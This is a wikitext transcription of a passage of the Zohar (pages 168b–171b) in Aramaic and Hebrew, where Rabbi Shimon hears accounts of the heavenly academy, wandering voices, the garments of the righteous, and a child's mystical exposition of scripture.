{{ממ זהר משולב|ג|קסח|ב}}&lt;קטע התחלה=דף קסח ב/&gt;חיי שרה מאה שנה ועשרים שנה ושבע שנים. מאה דאיהו חשבון רב כתיב ביה שנה זעירו דשנין חד אזעיר ליה. שבע דאיהו חשבון זעיר אסגי ליה ורבי ליה דכתיב {{צ|שבע שנים}}. תא חזי דלא רבי קב&quot;ה אלא לדאזעיר לא אזעיר אלא לדרבי. זכאה איהו מאן דאזעיר גרמיה בהאי עלמא כמה איהו רב בעלויא בההוא עלמא. אדהכי שמעו שירתא דימא בקל נעימו דלא שמעו מיומא דאתבריאו קל נעימו דשירתא כההוא נעימו דהוו אמרי. וכד סיימו יהוה ימלוך לעולם ועד. חמו ד' דיוקנין ברקיע. וחד מנייהו רב ועלאה מכלהו. וההוא רב ועלאה נייהו אתער קלא ואמר כה אמר יהוה זכרתי לך חסד נעוריך אהבת כלולותיך וגו'. שאט ברקיעא ואגניז קם אחרא אבתריה ואמר והולכתי עורים בדרך לא ידעו בנתיבות לא ידעו וגו'. סיים ושאט ברקיעא ואגניז פתח אידך ואמר ישושום מדבר וציה ותגל ערבה ותפרח כחבצלת. ושאט ברקיעא ואגניז פתח אידך ואמר כה אמר יהוה בוראך יעקב וגו' (שם) כה אמר יהוה הנותן בים דרך ובמים עזים נתיבה וגו'. תכבדני חית השדה תנים ובנות יענה וגו'. סיים ושאט ברקיעא ואגניז. כדין דחילו סגיא ואמתני נפל עלייהו כד הוה נהיר יממא קלא אתער כמלקדמין ואמר עמא תקיפא כאריה גברין כנמרין הבו יקר למאריכון דכתיב {{צ|על כן יכבדוך עם עז וגו'}}. שמעו קל חילין ומשריין דהוו אמרי לך יהוה הגדולה והגבורה והתפארת והנצח וההוד וגו'. עד ומרומם על כל ברכה ותהלה. תווחו ואזלו. אדהכי נהר יממא אהדרו רישא וחמו כל מדברא חפי בענני יקר מנהרן מנצצן בגוונין סגיאין. אמרו דא לדא ודאי קב&quot;ה בעי לאשתבחא בתושבחתא דדרא דמדברא דלא הוה בעלמא דרא עלאה כדרא דא ולא יהא עד דייתי מלכא משיחא ודאי כל מה דאחמי לן קב&quot;ה לא הוה אלא בגין לאודעא לן חביבו דמאריהון עלייהו לאודעא דאית לון חולקא טבא ואינון בני עלמא דאתי ולזמנא דאתי כד יוקים קב&quot;ה מתייא זמינין אלין לאחייא בקדמיתא כמה דאת אמר {{צ|יחיו מתיך}}. ואלין אינון דרא דמדברא א&quot;ל אי מלה חדתא ידעת דאנא ערטירא בה. א&quot;ל אימא אמר קלא דהדרא בעינא למנדע. בר נש יהיב קלא בחקלא או באתר אחרא והדרא קלא אחרא ולא ידיע א&quot;ל אי חסידא קדישא על מלה דא כמה קלין אתערו וכמה דקדוקין הוו קמי רב מתיבתא וכד נחת רב מתיבתא אמר הכי אוקמוה מלה במתיבתא דרקיעא ורזא יקירא איהי. 

תא חזי תלת קלין אינון דלא אתאבידו לעלמין בר קלין דאורייתא וצלותא דאלין סלקין לעילא ובקעין רקיעין אבל קלין אחרנין אינון דלא סלקין לא אתאבידו ואינון תלת קול חיה בשעתא דאיהי על קלביטא ההוא קלא משטטא ואזלא באוירא מסייפי עלמא עד סייפי עלמא. קול דבר נש בשעתא דנפיק נשמתיה מגופיה ההוא קלא משטטא ואזלא באוירא מסייפי עלמא עד סייפי עלמא. קול נחש בשעתא דפשיט משכיה ההוא קלא משטטא באוירא ואזלא מסייפי עלמא עד סייפי עלמא.  &lt;קטע סוף=דף קסח ב/&gt;


{{ממ זהר משולב|ג|קסט|א}}&lt;קטע התחלה=דף קסט א/&gt;אי חסידא קדישא כמה מלה דא רבא ויקירא. אלין קלין מה אתעביד מינייהו ולאן אתר עאלין ושארן. אלין קלין דצערא אינון ואזלין ומשטטי באוירא ואזלי מסייפי עלמא עד סייפי דעלמא ועאלין גו נקיקין ומחילין דעפרא ואתטמרן תמן. וכד ש דף קסט/א יהיב ב&quot;נ קלא אינון מתערין לגבי ההוא קלא. קלא דנחש לא אתער לגבי קלא דב&quot;נ. היאך יתער במחאה כד מחי בר נש מחאה אתער קלא דנחש דאתטמר לגביה ההוא קלא ולאו קלא אחרא. קלא אתער בתר קלא זינא בתר זיניה. ועל דא ביומא דר&quot;ה קול שופר אתער קול שופר אחרא זינא בתר זיניה אזלא. ארחיה דנחש לביש איהו לקטלא ולמחאה בההוא קלא ממש לא אתער קלא דהאי נחש אלא בתר זיניה ודא איהו כד בר נש מחי בחוטרא בארעא וקרי ליה לזיניה כדין אתער ההוא קלא דנחש לאתבא לזיניה ורזא דא איהו טמירו. אמר ר' שמעון ודאי מלה דא מלה סתימא היא. ותווהנא איך שלמה מלכא לא ידע מלה דא. א&quot;ל שלמה מלכא מנדע ידע ולא כ&quot;כ. אבל מה דלא ידע ההוא קלא מה תועלתא אית בה והיך יתבא. ורב מתיבתא הכי אמר דקדוקא דא לא ידע שלמה מלכא דהא ההוא קלא איהי כלילא רוחא ונפשא והבל גרמי מעצבונא דבשרא ומשטטא באוירא וכל חד מתפרש דא מן וכד מטא לההוא אתר דעאל ביה יתבא כמיתא וכל אינון חרשין וקוסמין ידעין אתרין אלין בחרשייהו וגחנין לארעא ושמעין קלא דא דמתחברן אינון רוחא ונפשא והבל דגרמי ואודעין מלה ודא איהו אוב מארץ ועל דא רדיף שלמה למנדע מה דאתעביד מההוא קלא ולא ידע. זכאה חולקך רבי דאתבריר לך מלה דקשוט. 

כד בר נש אתער קלא מיד (מתחברן) אתער ההוא קלא ולית ליה רשו לארכא יתיר. אלא כעין ההוא קלא דאתער ב&quot;נ ולא יתיר ואי אריך בר נש קליה איהו לא אריך כל כך בהדיה אלא לסופא דקלא בגין דלא יכיל לארכא מאי טעמא בגין דכד נפק בקדמיתא אתאריך מסייפי עלמא עד סייפי עלמא והשתא דעאל תמן לא יכיל לארכא קלא דהא ליתליה אתר לאתפשטא תמן כדבקדמיתא חדי ר&quot;ש ואמר אלמלי לא זכינא למשמע אלא מלה דא די לי למהוי חדי דזכינא למשמע מלין דקשוט דההוא עלמא. א&quot;ל אי חסידא קדישא אלמלי ידעת חדוה דמלין בההוא עלמא קמי רב מתיבתא תהא חדי יתיר. א&quot;ל מאי חדושא הוה השתא כד אתית לגבי. אמר. רב מתיבתא פתח ואמר ויוסף ישית ידו על עיניך. חדוה הוא. אמאי סתימו דעיינין למיתא בגין דעיינין גוונין דהאי עלמא אינון וחיזו ודיוקנא דהאי עלמא בהו איהו אסתים מניה האי עלמא חיזו דהאי עלמא אסתימו עינוי כל חיזו דהאי עלמא הא אתחשך מניה. וחשכין מניה חיזו דעינוי לית ליה חיזו בהאי עלמא מתמן ולהלאה. אמר ר' שמעון יאות תקונא דקדמאי וחכמתא דלהון יתיר ממלאכין קדישין. א&quot;ל יוסף אמאי ישית ידו מכל בנוי ואי תימא על בשורה דיליה מבעי ליה ויוסף חי תראה א&quot;ל ישית ידו בגין דרחימו דיליה הוה ובגין כך דא אסתים מיניה נהירו דהאי עלמא ודא נטיל ליה. מאן דאסתים עינוי רחימא דיליה אחזי הכי חיזו דילך דהאי עלמא אתאביד. הא אנא חיזו דילך באתרך מכאן ולהלאה יתתקנון לך חיזו אחרא דההוא עלמא. אמר ר' שמעון מה אתהני האי למיתא ומה תועלתא אית ליה בהאי מאן דיבעי למשאל (יומא) מה דאצטרי לאפקחא עינוי בגין לאחזאה דעדיין אזדמן איהו לאתבא לחיזו דהאי עלמא כדבקדמין. א&quot;ל אי חסידא קדישא ודאי אי לא אסתים מניה כל חיזו דהאי עלמא ולא אתאביד כלא מניה לא להוי ליה חיזו וחולקא דההוא עלמא. עלמא דא בהפוכא איהו מההוא עלמא דאנן ביה דבזמנא דתחיית מתייא אפילו כחוטא דשערא לא הוה מעובדא דהאי עלמא דכלא אתאביד בקדמיתא (טלא יבטיל ליה וישוי ליה) בההוא &lt;קטע סוף=דף קסט א/&gt;

 
{{ממ זהר משולב|ג|קסט|ב}}&lt;קטע התחלה=דף קסט ב/&gt;טלא (בקדמיתא) ויתעבר מניה כל זוהמא ולבתר יתעביד כחמירא דא ומניה יתעביד גופא בריה חדתא כך הכא. א&quot;ל רבי שמעון ודאי ידענא דאתון מלובשין תמן בלבוש יקר דגופא דכיא קדישא אי הוה בגוונא דא בהאי עלמא ב&quot;נ דאתחזי בההוא גופא כגוונא דאתון קיימין בההוא עלמא. א&quot;ל מלה דא שאילו קמי רב מתיבתא תרין עולימין דאתלבשו ביננא בתר דסבלו צערא על חובא דלא אתחזי לגלאה ושאילו דא קמי רב מתיבתא ואיהו אמר דהא הוה בהאי עלמא הכי מנלן דכתיב {{צ|ויהי ביום השלישי ותלבש אסתר מלכות}} - אתלבשת בההוא דיוקנא דההוא עלמא. מלכות דא רוחא דקודשא דהא מלכות שמיא נשיב רוחא מההוא רוחא דאוירא דההוא עלמא ואתלבשת ביה אסתר. וכד עאלת קמי מלכא אחשורוש וחמא ההוא לבושא נהורא דיוקנאה אדמי למלאך אלהים. פרחה מניה נשמתא לפום שעתא. מרדכי אוף הכי דכתיב {{צ|ומרדכי יצא מלפני המלך בלבוש מלכות}} - {{צ|לבוש מלכות}} ודאי - דיוקנא דההוא עלמא. ועל דא כתיב {{צ|כי נפל פחד מרדכי עליהם}} - {{צ|פחד מרדכי}} ולא פחד אחשורוש. 

אמר רבי שמעון כמה מתיקין אינון מלין זכאה חולקי והא ידענא דצדיקייא (ס&quot;א בהאי) בההוא עלמא מתלבשן בלבושא דאקרי לבוש מלכות והכי הוא ודאי. א&quot;ל אוירא דג&quot;ע נשיבו דרוח קודשא אינון ומתלבשן ביה צדיקייא כגוונא דהוו בהאי עלמא. ולבתר רוח קודשא שראת על רישא דכל חד וחד ואתעטר ואתעבידא ליה עטרא וכך הוה למרדכי דכתיב {{צ|בלבוש מלכות}} - דיוקנא דההוא עלמא. ולבתר ועטרת זהב גדולה דא עטרת דשריאת על רישיהון דצדיקייא בההוא עלמא. כד קבילו ישראל אורייתא כגוונא דא הוה להון. עד דחבו דכתיב בהו {{צ|ויתנצלו בני ישראל את עדים מהר חורב}}. אתפשטו מההוא לבושא וכן כתיב ביהושע כהנא רבא {{צ|הסירו הבגדים הצואים מעליו}}, וכתיב {{צ|וילבישוהו בגדים}} אלין לבושין דההוא עלמא מהכא מלין קדמאין ומהכא דכל זמנא דגופא דהאי עלמא קיימא בקברא בקיומא לא אתלבש רוחא בלבושא דההוא עלמא דכתיב {{צ|ויסירו הבגדים הצואים מעליו}} בקדמיתא ולבתר {{צ|וילבישוהו בגדים}}. {{צ|ומלאך יהוה עומד}} - מהו {{צ|עומד}}? אלא דא היא עטרא דאקרי מלאך יהוה דקיימא על רישיהון דצדיקיי' ודא איהו {{צ|עומד}} - עומד על רישא לעילא. לבתר דאתלבשן כהאי לבושא דיקר. תרין גופין כחדא לא יכלין למיקם כל זמנא דהאי קיים רוחא לא מקבלא אחרא. אתעבר דא הא אחרא זמינא מיד ודאי. דא נפיק ודא עאל כגוונא דיצר טוב ויצר רע. בהאי עלמא לא בעי קב&quot;ה דתרווייהו יקומון כחדא אמר ליה תווהנא על מה דכתיב (שם) {{צ|והשטן עומד על ימינו לשטנו}}. וכי יהושע בן יהוצדק כך שאר בני עלמא על אחת כמה וכמה. 

א&quot;ל חסידא קדישא כמה טמירין סתימין מלין אלין (א&quot;ל) אע&quot;ג דחברייא ידעין במלין דההוא עלמא לא יכלין למנדע ברזין אלין. 
א&quot;ל. כיון דבר נש בההוא עלמא מה תועלתא אית לההוא שטן לאסטאה ליה. ולא די ליה דאפיק נשמתיה מניה וקטיל ליה. 
אמר ליה אי חסידא קדישא זכאה חולקך. תא חזי תיאובתא דשטן לא הוה אלא בגין דלא יתלבש ההוא זכאה בלבושא דכיא קדישא דכיון דחזי ההוא שטן דלבושא דיליה אתדחיא ולא אתחשיב על דא אסטי ליה. מאי טעמא בגין דאי אתלבש בההוא לבוש יקר מיד לבושא דזוהמא ועבידתא דההוא שטן יתבטל ויעבר מעלמא ולא ניחא ליה לשטן. ותו דבכל זמנא דלא אתלבש פקדא רוחא לההוא גופא דזוהמא דיליה. וניחא ליה לשטן. וכיון דאתלבש &lt;קטע סוף=דף קסט ב/&gt;

 
{{ממ זהר משולב|ג|קע|א}}&lt;קטע התחלה=דף קע א/&gt;בההוא לבוש יקר הא אתבטל גווני דיצרא בישא וגופא דיליה וליה ליה דוכרנא בהדיה לעלמין. ואי תימא דאנן פקדין לבי קברי בריש כל ליליא לאו על גופא אלא דנפשא ונפשא פקדא לגופא. אבל השתא פקדונא דילן איהו לנפשא דאיהי משתככא ואשתארת בשכוכי גו גרמי. ובגין כך בריש כל ליליא פקדונא דרוחא לנפשא ולא על בשרא. אי חסידא קדישא תא ואגלי לך מלה סתימא בניינא דגופא דבר נש הכי הוא רוחא מעם רוחא דקודשא נשמתא מגו אילנא דחיי. כיון דרוחא קדישא יהב חילא מיד רתיכין דיליה יהבין חילייהו חילא דלהון גרמי ושייפין כלהו מסטרא דלהון ותקונייהו דא על דא. סט&quot;א יהבת בשרא ומסטרא דיליה אתיא בשרא ולא מלה אחרא. רתיכין דיליה יהבין כל אינון גידין וערקין לאמשכא דמא לבשרא בתר דאלין יהבי חילייהו שמיא יהבי חילייהו ומאן אינון עור דאתמשך על כלא כגוונא דלהון. לבתר מתחברן שמיא וארעא כחדא ויהבי ד' יסודי אלין אשא ומיא ואוירא ועפרא לאגנא על אלין ולחפיא על כלא לבתר כל חד נטיל חולקיה דיהב ואתבטל רוחא דקודשא ורתיכין דיליה חולקייהו קיימא רוחא דקודשא. רוחא דיליה קיימא ונשמתא סלקא רתיכין דרוחא דקודשא גרמין דלהון קיימין וע&quot;ד השיבו דגופא גרמין הוו ובגין כך כתיב {{צ|ועצמותיך יחליץ}}. ובשרא לא כתיב ביה הכי וכל זמנא דבשרא דסטרא אחרא קיימא בקיומא ההוא שטן קיימא לאסאנא אתאביד בשרא לית ליה רשו לאסטנא דהא לית ליה על מה דיסתמיך ועל דא כתיב יכל בשר מרואי ושפו עצמותיו לא ראו. מההוא חיזו דשטן דקיימא לאסטנא דלא יכיל כיון דיכל בשרו ושפו עצמותיו לא ראו. לא אתחזון לקרבא לגביה דלית ליה בהון חולקא כיון דשף כל חד וחד מדוכתיה לא תבע עלייהו ולא קאים לאסטנא בגינייהו לבתר דבשרא מתעכלא הא לא יתבע דינא ולא קאים לאסטנא דהא לית ליה על מה דיסתמיך ולא אדכר לב&quot;נ בשום מלה דעלמא. 

א&quot;ר שמעון השתא ידענא מלין על תקונייהו. ודאי יאות הוא ליה לאסטנא א&quot;ל ר' (שמעון) חגור זינך ותקין גרמך אי תבעי למנדע מלין דשארית או אי תשאל בהני מלין אימא לי. א&quot;ל ודאי הא ידענא דביתאי שכיבת דלא ידענא מנה כלום וחברייא ידעין. נשין מ&quot;ט דעתייהו קלה. א&quot;ל דעתא אתיא בשית דרגין. וכל חד נטיל חולקיה מה דאשתאר קל איהו אבל יקירא דא אי לאו דאשת כסילות אשתתף בה. במלה דא לא תשאל דהא ידענא דלאו על דביתך שאלת אלא על מה דכתיב {{צ|הנה יהוה רוכב על עב קל}} וההוא עב קל אקרי דעת מההיא כלה יראת יהוה ואיהי קיימא באמצעיתא כגוונא דדעת עלאה אבל (ס&quot;א וע&quot;ד) אקרי קל. והא ידענא שאלתא דילך מאי היא. אבל שארי וחגור זינך וקטיר קטרך דהא עידנא הוא לגלאה כמה דשארית עובדא. דעל אנפי רוחב ביתא. אולם דעזרה לגו. בהאי עזרה אית תריסר פתחין לפום חושבן שבטיא דישראל. בפתחא חדא כתיב ראובן. ובפתחא אחרא כתיב שמעון וכן כל שבטיא דישראל רשימין על אינון פתחין בזמנא דיסלקון לאתחזאה קמי מאריה דעלמא. מאן דעייל בפתחא דרשים ביה ראובן אי משבטא דראובן איהו מקבלין ליה פתחין ואי לא פלטין ליה לבר וכן בכלהו דלא יקבלון פתחין אלא למאן דאיהו מההוא שבטא דרשים בהון ובדא יתחקקון וישתמודען כל חד וחד. תלת מאה ושתין וחמש עמודין דנהורא מלהטא אית בכל סטרא מאינון ארבע סטרין כל אלין עמודין אקרון עמודים חיים בגין דלא קיימא נהורא דלהון &lt;קטע סוף=דף קע א/&gt;

 
{{ממ זהר משולב|ג|קע|ב}}&lt;קטע התחלה=דף קע ב/&gt;שכיך באתר חד. וכלהו אלין סלקין ואלין נחתין יהבי דוכתא דא לדא אלין דסלקין בטשין דא בדא ומנגני נגונא ואלין דנחתי אוף הכי. אלין דסלקי דנגני נגונא מאי נגונא מנגני שיר דעד כען מלאכין קדישין לא שבחו ליה בגין דאיהו חדש. מאי טעמא איהו חדש בגין דההוא דמחדש עולימוי משבח ליה ואמר ליה והכי אמר רב מתיבתא דא אקרי חדש ואיהו חדש בגין דדביק בשמשא ולא אתפרש מניה לאפקא סטרא אחרא דלית ביה חדושא דכתיב ביה {{צ|ואין כל חדש}}. זקן הוא ואתבלי ולא אתחדש. (ס&quot;א ולא עביד תולדין) דאלמלא עביד תולדין הוה מטשטש עלמא). תו פתח רב מתיבתא. שדה אתחדשת בעדונא דרגא דילה גרים דכתיב {{צ|אחרי בלותי היתה לי עדנה}}. מאי דדנה משיכו דעדן עלאה. ובגין דאתמשך עלה מסטר דנוקבא כתיב {{צ|עדנה}} בה&quot;א ובגין כך כתיב {{צ|היתה}} ולא &quot;היה&quot;. {{צ|ואדני זקן}}. וכי אע&quot;ג דאיהו זקן לא אתחזי לאולדא אלא לאו מלתא זעירתא אמרה לגביה (דאברהם אלא) דבגין (לאזער גרמה דאתדבקת) ההוא (מלך) זקן (ד&quot;א דאתדבקא) (וכסיל) לא אתחדש ולא עביד תולדין דאלמלא הוה עביד תולדין הוה מטשטשא עלמא (ס&quot;א אלא אמרה לגבי דאברהם בגין דהוא זקן לא אתחדש ולא עביד תולדין). ועל דא אהדר מלין קודשא בריך הוא למה זה צחקה שרה וגו'. ואי תימא והא כתיב {{צ|ואברהם זקן בא בימים}}. אלא בא בימים. באינון יומין עלאין דמחדשי עולמין כנשרא. ע&quot;ד נגונא דא נגונא דההוא חדש איהו. הושיעה לו. למאן לההוא חדש הושיעה ימינא דמלכא עלאה ודרועא דיליה. אינון דנחתי אוף הכי מנגני ואמרי שירה אחרא יתמא. ומאן איהו מזמור לתודה דאיהו יתמא. אוף הכי נהורא דלהון חד אתחזי. וכד מתגלגלי אתחזן חמש גוונין דנהורין. בכל עמודא ועמודא. עמודין אלין כלהו חללין מלגאו. וכד סלקי ונחתי נפקי מנייהו שלהובין דנורא כגווני חיזור ושושן. לעילא מכל עמודא ועמודא אית תלת תפוחין דבטשי בהו תלת גוונין סומק ירוק וחוור. בכל גוון וגוון מלהטן אתוון בלטי משלהובא ירוקא דאשא ולא משתככי לעלמין ולית מאן דיקום עלייהו. ארבע גלגלין מתחמן עובד ציור בכל עמודא ועמודא. באינון גלגלין אית פליאן רברבן כד מסתחרן מפקין מנייהו זגין דדהבא ואבני יקר. ומיד מתכנשי בגווייהו ולא נפלי לארעא כד נפקין אינון זגין דדהבא ואינון אבני יקר גו אסתחרותא דגלגלין אשתמע קלא דאמרי זאת נחלת עבדי יהוה וצדקתם מאתי נאם יהוה תרין אריין לבכל גלגלא וגלגלא אריא חדא מסטרא חדא ואריא חדא מסטרא חדא וכלהו מאשא ירוקא ובגלגולא דקא מסתחרן גלגלין מתחבקן אלין באלין ואזלי כלהו. בגלגולא מתדבקן דא בדא. כד סלקין עמודין מנהמן אריין אלין באלין ותפוחין פרחין באוירא וסלקין לעילא ובטשי אלין באלין באוירא ותבו לאתרייהו ומתמן נפלי ואריין פשטי ידייהו לנטלא לון וסלקין אלין מגרמייהו. אי חסידא קדישא. מאן חמא חכמתא דאומנו דצייר קב&quot;ה בעמודין אלין. בפלגו יומא נפקי תרין נשרין בכל גלגלא וגלגלא ולא ידיע אתר דנפקי מתמן ושריין על רישיהון דאלין אריין וכדין משתככי עמודין וגלגלין וקיימי בקיומייהו. ותפוחין נפלי על פומייהו דנשרי ומקבלי לון ומיד פרחין מפומא לפומא ואזלין ומשטטי בינייהו ותבו לאתרייהו ולא ידיע מאן היא. לבתר שעתא ופלגא נשרין ארימין קלא ומנגנין נגונא תאיבא ואתטמרן ולא ידיע בהי אתר. סחרנייהו דאינון עמודין אית שבכין עובד ציור. אשא סומקא ונהורא חוורא וחוטין דדהבא סחור סחור סחרין לכל סטר ומעיינא דמיא &lt;קטע סוף=דף קע ב/&gt;

 
{{ממ זהר משולב|ג|קעא|א}}&lt;קטע התחלה=דף קעא א/&gt;כמה דאת אמר {{צ|והיה ביום ההוא יצאו מים חיים מירושלם חצים אל הים הקדמוני וחצים אל הים האחרון}}. הכא פריש רב מתיבתא קרא דא לגו וקליה אשתמע לבר. (ס&quot;א ואדהוה) מדהוה פריש קרא דא. (אי קדישא אי קדישא) קל ינוקא אתער מלבר ההוא ינוקא דהוה פריש תלמודיה וגמיר קמי חד עמודא דעלמא בריה דרבי יהודה דרבית אנת והוו אחדי ביה לדינא וקליה אתער מלבר בהאי קרא ואמר מיא דאינון מלרע היך סלקין לעילא מניה לאתר עלאה יתיר מניה בכמה דרגין ומה אצטריך לון לאינון מיין לעילא. ומה אתר דכל (תפוחי) מבועין ונחלין נפקין מניה ולית פסיקו למבועי ונחלי אתשקיא מאתר נגיב מאן חמא חפירא דבירא דיהיב מיין למבועא דגביע. וכי ירושלם יהיב מיין אל הים הקדמוני אתר דכל מימין דעלמא נפקי מתמן ונבעין מניה. אי חסידא קדישא לקלא דא אשתככו וצייתו כל קלין דבני מתיבתי דתמן ובגין כך לא יכילו מארי דדינא למקרב גביה. 

בכה ר' שמעון א&quot;ל לא תבכי בוצינא קדישא זכאה חולקך דאפילו ינוקי מנך אמרי רזין סתימין דאורייתא. תא ואימא לך מה דעבדו בני מתיבתי על קליה דההוא ינוקא כד עאל קליה דההוא ינוקא כגירא לגו וכלהו צייתי ליה. בההוא שעתא אזדעזע רב מתיבתא וכל אינון דהוו קמיה ואמר מאן אינון דלא שבקין לההוא ברא דאלהא חייא למיעל קמו ואחידו ביה תלת עמודין דקיימי קמי רב מתיבתא ועאל וכל בני מתיבתי אתכנשו לגביה אמר רב מתיבתא אימא קראיך ברא קדישא. אמר עד כען דחילנא דהא אנא ממתיבתא אחרינא הוינא והכי אמרו לי כד מארי דדינא הוו אחדין בי. א&quot;ל לא תדחל ברא קדישא הכא תהא ביננא שבעה יומין ותתמחי בכל יומא מטלא קדישא. ולבתר יסלקון לך לגו ההוא מתיבתא בשאר ינוקי דהכא:

פתח ההוא ינוקא ואמר {{צ|והיה ביום ההוא}} - {{צ|ההוא}} - לא ידיע מאן הוא?! אלא בכל אתר {{צ|ביום ההוא}} יומא בתראה הוא אמאי אקרי {{צ|יום ההוא}}? אלא דא הוא יומא דאחיד סופא בשירותא. שירותא אקרי הוא כמה דאת אמר {{צ|ועבד הלוי הוא}} פולחנא דלוי לדרגא דאקרי הוא טמיר וגניז ואקרי ההוא (ה' הוא) לאחזאה סופא דכל דרגין דאיהו שירותא וכלא חד ובגין דאיהו סופא אתוסף ביה ה' (ס&quot;א הלוי הוא. הוא טמיר וגניז ודא אקרי יום ההוא לאחזאה סופא דכל דרגין דאחיד בשירותא וכלא חד) זמינא ירושלם לאפקא מיין ולנבעא נביעו הכא אית לומר סופא דכל דרגין לאו איהו ירושלם אלא ודאי ירושלם ויומא ההוא כלא חד. מה בין האי להאי אלא ירושלם כל דרגין קדישין דילה כד אמתחרן אקרון ירושלם והכי אתחמאן ואית דרגין דסחרן ואקרון עזרות אלין פנימאין ואלין לבר ואית דרגין דאקרון כר אסתחרן לשכות (ס&quot;א כד א סתחרן אלין פנימאין ואלין לבר אקרון ירושלם ואית דרגין דסחרן ואקרון עזרות ואית דרגין דאקרון לשכות) ואית דרגין דאקרון כד אסתחרן היכל ודביר. לגו מכל אינון דרגין אית חד נקודה כבודה בת מלך פנימה. נקודה דא אקרי יום ההוא וסימניך ההוא יקרא ארץ וכד יקום יומא דא מגו שבכין דעזרה יקום נביעו דמיא וההוא נביעו מן הים הקדמוני להוי. כגוונא דאמא דברה בין דרועהא ומסגיאו חלבא דיניק אתמלי פומיה ואתרבי ביה אריק חלבא לפומא דאמיה. כך חצים אל הים הקדמוני. נטליה רב מתיבתא ונשקיה. אמר חייך (ס&quot;א חיין דעלמא דמלה דא הכי) אוקמוה במתיבתא דרקיעא והכי הוא ודאי. ים האחרון דרגין בתראין דילה. אי חסידא קדישא כמה חדוה על חדוה אתוסף בההוא ינוקא גו בני מתיבתי כ&quot;ז טעמי דאורייתא אמר ההוא ינוקא ושבעין כתרין אעטרוה לאבוה בההוא יומא זכאה חולקיה מאן דזכי למילף לבריה. אמר רבי שמעון לא זכה אבוה למילף ליה. אמר אבוה שבק ורזא סתימא &lt;קטע סוף=דף קעא א/&gt;

 
{{ממ זהר משולב|ג|קעא|ב}}&lt;קטע התחלה=דף קעא ב/&gt;הוה בהאי ינוקא על מה דאסלק מעלמא ועל דבעו למידן דיניה (ס&quot;א באתגלייא) ואשתזיב מניה דא הוה באתגלייא דהוה מכסיף לרביה קמי כלא בשאלתין וקושיין דיליה ולא חייש למהך לאחרא לאתקנא תלמודוי וחליש דעתא דרביה ועל דא בעו למידן ליה בדינא תקיפא. ובגין כך אף על גב דאשתזיב ממאריהון דדינא לא אשתזיב הכא. שבעה יומין הוי דלא אשתלים דיוקניה (ס&quot;א דיניה) וכד הוה אסתחו בכאבא יתירא קמי כלא כל אינון שבעה יומין עד דאשתלים דיוקניה ועל דאסתלק מעלמא לא תבעי למנדע. אי רבי אי רבי זכאה חולקך. 

תא חזי תחות עגולא דאינון שבכין דתמן באינון מיין דההוא נביעו דמעיינא אתרשים נביעו חד ואתפשט ונפיק ונפיק לבר ועאל גו ימא רבא (דתמן) ורשים ביה ארחא בלבא דימא ומיניה שתי לויתן ורוי וחדי ואתרבי ברבוייא וכד נפיק נביעו אחרא ההוא נביעו אתפשט ואזיל בטמירו תחות תהומא לגו ימא ברבוייא וכד נפיק נביעו אחרא ההוא נביעו אתפשט ואזיל בטמירו תחות תהומא לגו ימא בתראה וכל אינון מים זדונים ומיין תקיפין מאיך לון וכפיף לון דלא יפקון לחבלא בני עלמא. וסימן הנותן בים דרך ובמים עזים נתיבח. ובאמצעיתא דההיא עזרה אית תרין כרובים עובדא דאומנא דמלכא קדישא ולא יכלין לקיימא בהו עלאין ותתאין ותחותייהו זמינין כל ישראל לקיימא דלא יפקון מתחות גדפייהו לבר זכאין ליהוון כל דעאלין תחות גדפייהו. תליסר אלפי מגדלין דשמשא דנהיר מנצוצא דמרגקלא בצעצועא (ס&quot;א בניצוצא) כדקא יאות. רב מתיבתא בגין כך זכה לההוא יקר. מאן יכיל למימר מאינון מלין דקא מתחדשן בכל יומא מקמי רב מתיבתא אי רבי בכל זמנא דרוחין דכורין סלקין לעילא. נשין בההוא זמנא נפקי כלהו ומתכנשי לגו היכלא דבתיה תמן וחדאן תמן. בכמה מלין עתיקין. ומתמן נפקין ועאלין כלהו. והיא עמהון לגו היכלא דסרח. וחדאן בכמה מלין חדתין ועתיקין ומתמן נפקין והיא עמהון ועאלין לגו היכלא דיוכבד. וכן בכל אינון היכלין. השתא ר' אימא לך רזא חדא. 

תא חזי בכל שמטה ושמטה כרוזא נפיק אתכנישו גוברין ונשין וכל אינון בני מהימנותא וסליקו כדין כלהו מתפשטין דכורין ונשין וסלקין וכל אינון ינוקי מחלב עאלין לגו מתיבתא (ס&quot;א אתכנישו בני מהימנותא גוברין ונשין וכל אינון ינוקי מחלב וסליקו כדין כלהו מתפשטין דכורין ונשים וסלקין וכלהו עאלין לגו מתיבתא) דרקיעא וחדאן חדוה. ועלויא דלהון ותמן חדו על חדו. וההוא נער דמפתחן דמאריה בידיה קם ואמר לון כמה מלין חדתין ועתיקין וכלהו חמאן חדוה דלית חדוה כההיא חדוה. לבתר עאלין כלהו לגו כמה פרוכתין וכמה היכלין גניזין תמן דאינון נהרין בנעם יהוה בגו היכלא דאהבה דקב&quot;ה ודא הוא דכתיב {{צ|לחזות בנועם ה' ולבקר בהיכלו}} לבתר פרחין ינוקין לעילא ואינון פרחין לתתא ומהדרין לדוכתייהו ומתלבשן כדבקדמיתא. זכאה עמא דכל טובא דההוא עלמא מחכאן. אמר ר' שמעון כמה מתיקין מלין דשמענא. זכאה חולקא דידי דזכינא לכל האי למשמע זכאה יומא דנפיקנא הכא. אמרי ליה רבי תלת יומין אית לן רשו למיתי גבך ולבתר חד יומא (ס&quot;א ניזיל ולא אית לן רשו למיתי ובההוא יומא יתוסף) חדוה דילך איהו משיך משיכו מסטרא דיליה ואתטמר ואתחפא תחות אתר דאקרי תא הרצים עד פלגו ליליא. מבתר פלגו ליליא שלהובא דעמודא דיצחק נפיק ובטש בהאי תרנגולא דאקרי גבר כגוונא דגבר אחרא עלאה עליה כיון דבטש ביה האי גבר קרי ויהיב שית קלין וכלהו בסכלתנו. בשעתא דאיהו קרי כל תרנגולין דהאי עלמא קראן ונפיק מניח שלהובא אחרא ומטי לון תחות גדפייהו וקראן איהו מה קרי בשעתא קדמאה קרי ואמר {{צ|קול יהוה בהדר}}. ובשעתא תניינא קרי ואמר {{צ|קול יהוה לעיר יקרא וגו'}}. בשעתא תליתאה קרי ואמר {{צ|קול יהוה חוצב להבות אש}}. &lt;קטע סוף=דף קעא ב/&gt;

 
